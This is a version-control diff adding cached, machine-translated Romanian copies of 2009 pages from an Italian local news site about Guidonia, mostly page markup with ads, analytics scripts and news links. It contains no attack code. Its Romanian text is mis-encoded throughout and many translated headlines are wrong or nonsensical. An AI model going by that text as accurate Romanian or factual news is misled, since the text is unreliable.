border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6289&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6289&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6289&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Aboneaza-te la acest conÅ£inut"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6289&lang=ro" >Fast Blog News</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): violuri, de mÄsurare sau a &quot;umple</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - Linia de cale ferata de la &quot;outcastes&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL romi G: de prevenire Åi siguranÅ£Ä la locul de muncÄ</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Femeii ucise de fulger Ã®n Lazio</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, case, fÄrÄ ciment. IatÄ dovezile. &quot; De post, Enzo Cappucci, a avut Å£Ã¢Å£Ä Ã®n moloz Ã®n regiunea Abruzzo Åi-a gÄsit dovezi ale uÅurinÅ£Ä, lipsa de control, de neglijenÅ£Ä criminalÄ cu care multe case au fost construite. De ... Tags: Enzo capace Abruzzo RaiNews24 RAI romi de [...]"">Rai pe ciment</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, case, fÄrÄ ciment. IatÄ dovezile&#39;&#39;. A trimis de Rainews24, Enzo Cappucci, a avut Å£Ã¢Å£Ä Ã®n moloz Ã®n regiunea Abruzzo Åi-a gÄsit dovezi ale uÅurinÅ£Ä, lipsa de control, de neglijenÅ£Ä criminalÄ cu care multe case au fost ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, case, fÄrÄ ciment&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">Ãnarmat cu pistol antic jefuit la hotel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">PÃ¢nÄ la 23 iulie abonamentele la regional C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Managementul durerii post-operatorii victorii &quot;Åi rock &#39;stretch&quot; E. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Femeile Åi democraÅ£ie.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Frica, se aflÄ Åi &quot;mit&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Femeile Åi democraÅ£ie.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Frica, se aflÄ Åi &quot;mit&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformatoare de premiere, joi, 25 iunie sunt Ã®n sÄlile de cinema</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani Digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Alegeri, Åi Guidonia Sursa nou la centrul de</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=ro" >GuidoniaPuntoNet (Ã®n curs).</a> Link: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Alegeri Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="site-ul statistici" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="site-ul statistici"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 2.097 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 01:56:03 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/ro/_wp__p=6291&lang=ro
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/ro/_wp__p=6291&lang=ro	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/ro/_wp__p=6291&lang=ro	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6291 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Atribuire a rotativ GIORNALISTICA / Ã®n memoria Grazio AMMATURO ... - UnoNotizie.it - GuidoniaPuntoNet (Ã®n curs) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (Ã®n curs) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6291&rurl=translate.google.com&lang=it&usg=ALkJrhj2WeRHME329QTU7yZsSLsbK7Xgow" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="implicit" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="roz" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="verde" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="purpuriu" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="roÅu" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="albastru" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (Ã®n curs) &quot;atribuire a rotativ GIORNALISTICA / Ã®n memoria Grazio AMMATURO ... - Comentarii UnoNotizie.it Feed" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (Ã®n curs)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia Ã®n WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Guidonia: DC, Pagano PRIMAR &quot;trompeta&quot; nu REVIEW O infrangere - IRIS de presÄ - AgenÅ£ia NaÅ£ionalÄ de PresÄ" href=http://www.guidonia.net/wp/?p=6295 /><link rel=next title="Construirea Blitz pe Åantiere de construcÅ£ii: 32 de persoane arestate - il Giornale" href=http://www.guidonia.net/wp/?p=6287 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=ro" >GuidoniaPuntoNet (Ã®n curs)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=ro" >AcasÄ</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=ro" >Despre</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=ro" >Contacte</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="cÄuta" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6291><h2> <span  > <a href="http://www.guidonia.net/wp?p=6291&lang=ro" >Atribuire a rotativ GIORNALISTICA / Ã®n memoria Grazio AMMATURO ... - UnoNotizie.it</a></span> </h2><p class=meta-header> <span  > Primit 29 iunie 2009 Ã®n <a href="http://www.guidonia.net/wp?cat=1&lang=ro" >Guidonia Stiri</a> de admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top> <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif><img src=http://nt0.ggpht.com/news/tbn/vB84q3PNtilB0M/0.jpg alt="" border=1 width=80 height=70 /><br /></font></a> <span  > <font size=-2><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif>UnoNotizie.it</font></a></font></span> </td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg">Atribuire a rotativ GIORNALISTICA / Ã®n memoria Grazio AMMATURO ...</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>UnoNotizie.it</b></font></font></span> <br /> <span  > <font size=-1>De Rotary Club din <b>Guidonia Montecelio</b> a creat un serviciu permanent de atribuire anual un jurnalist sau un practician al unei headboard este <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=dPhL1Yfw82Bfv2M"><font class=p size=-1><b>mai mult Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Plecare un Reply</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6291#respond style=display:none;&lang=ro" ><small>FaceÅ£i clic pentru a anula rÄspuns.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Nume (a cere)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (nu va fi publicat) (obligatoriu)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Site web</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Comentarii</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Trimiteti comentarii" class=box /><input type=hidden name=comment_post_ID value=6291 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: idei pentru web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Idei Ã®n cÄutare de finanÅ£are: <a href=mailto:info@guidonia.net>contactati-ne</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Poti sa stai aÄ¡Ä¡ornata prin <a href="http://www.guidonia.net/wp?feed=rss2&lang=ro" >RSS feed.</a></span> </div><div class=col><div class=box><h3> <span  > Video-uri despre Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="MansardÄ Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, ad.</span> <span  > Viale Roma gara si ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Cuvinte Åi Sunete Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piesele de legendarul concert de o Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piesele de legendarul concert de o Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - sensul totul este - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piesele de legendarul concert de o Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=ro" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Non Import - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Piesele de legendarul concert de o Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Classifieds</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Iulie 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="luni"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="marÅ£i"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Miercuri"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="joi"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="vineri"> <span  > V</span> </th><th abbr=sabato scope=col title="SÃ¢mbÄtÄ"> <span  > S</span> </th><th abbr=domenica scope=col title="duminicÄ"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=ro" >Â«Iunie</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=ro" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=ro" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=ro" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6291' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6291&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6291&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6291&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6291&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6291&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6291&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6291&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6291&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6291&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6291&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6291&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6291&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6291&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Aboneaza-te la acest conÅ£inut"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6291&lang=ro" >Fast Blog News</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): violuri, de mÄsurare sau a &quot;umple</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - Linia de cale ferata de la &quot;outcastes&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL romi G: de prevenire Åi siguranÅ£Ä la locul de muncÄ</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Femeii ucise de fulger Ã®n Lazio</a></span> </li><li> <span  > <a class=rsswidget 